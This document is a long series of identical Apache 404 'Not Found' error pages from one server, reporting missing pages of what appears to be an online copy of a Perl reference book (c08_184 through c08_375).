The requested URL /e-book/oreillybookself/perl/perlnut/c08_184.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_185.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_186.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_187.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_188.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_189.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_190.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_191.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_192.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_193.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_194.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_195.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_196.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_197.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_198.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_199.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_200.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_201.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_202.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_203.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_204.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_205.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_206.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_207.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_208.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_209.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_210.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_211.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_212.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_213.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_214.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_215.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_216.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_217.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_218.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_219.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_220.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_221.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_222.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_223.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_224.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_225.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_226.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_227.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_228.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_229.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_230.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_231.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_232.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_233.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_234.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_235.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_236.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_237.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_238.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_239.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_240.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_241.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_242.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_243.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_244.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_245.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_246.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_247.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_248.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_249.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_250.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_251.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_252.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_253.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_254.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_255.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_256.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_257.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_258.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_259.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_260.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_261.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_262.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_263.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_264.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_265.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_266.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_267.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_268.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_269.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_270.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_271.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_272.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_273.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_274.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_275.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_276.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_277.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_278.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_279.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_280.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_281.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_282.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_283.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_284.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_285.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_286.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_287.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_288.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_289.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_290.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_291.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_292.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_293.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_294.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_295.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_296.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_297.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_298.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_299.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_300.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_301.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_302.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_303.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_304.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_305.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_306.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_307.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_308.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_309.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_310.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_311.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_312.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_313.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_314.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_315.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_316.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_317.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_318.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_319.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_320.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_321.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_322.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_323.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_324.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_325.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_326.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_327.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_328.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_329.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_330.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_331.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_332.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_333.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_334.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_335.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_336.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_337.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_338.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_339.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_340.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_341.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_342.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_343.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_344.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_345.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_346.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_347.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_348.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_349.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_350.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_351.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_352.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_353.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_354.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_355.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_356.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_357.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_358.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_359.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_360.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_361.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_362.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_363.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_364.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_365.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_366.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_367.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_368.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_369.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_370.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_371.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_372.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_373.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_374.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_375.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

